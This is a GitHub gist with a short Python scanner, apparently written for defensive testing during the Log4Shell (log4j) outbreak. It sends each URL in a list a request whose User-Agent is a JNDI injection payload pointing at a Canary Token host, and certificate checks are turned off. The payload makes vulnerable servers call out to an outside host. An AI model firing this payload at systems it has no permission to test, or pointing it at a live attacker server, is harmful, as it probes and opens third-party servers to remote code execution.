Skip to content

Instantly share code, notes, and snippets.

@beamzer
Created December 13, 2021 20:56
Show Gist options
  • Save beamzer/9cc5d93a0fc8179d10b3a8974b21a65b to your computer and use it in GitHub Desktop.
Save beamzer/9cc5d93a0fc8179d10b3a8974b21a65b to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# 13-12-2021
# will take a file with a list of URLS and return the resulting URL after following redirects and final HTTP response code
# if a URL is unreachable it will be silently skipped
# The User-Agent is a Canary Token for log4j or modify to your needs
import argparse
import requests
import urllib3
urllib3.disable_warnings()
CT = "${jndi:ldap://YOUR_TOKEN.canarytokens.com/a}"
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--filename",
dest="list",
help="Check a list of URLs.",
action='store')
args = parser.parse_args()
def main():
if args.list:
with open(args.list, "r") as f:
#file = f.readlines()
file = f.read().splitlines()
else:
print (f"usage {__file__} -f filename")
quit()
for myurl in file:
try:
# print(f"scanning: {myurl}")
r = requests.get(
myurl,
timeout=2,
headers={'User-Agent' : f"{CT}"},
verify=False
)
print(f'{myurl};{r.url};http reponse = {r.status_code}')
except:
pass
# print(f"unreachable: {myurl}")
if __name__ == "__main__":
main()%
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment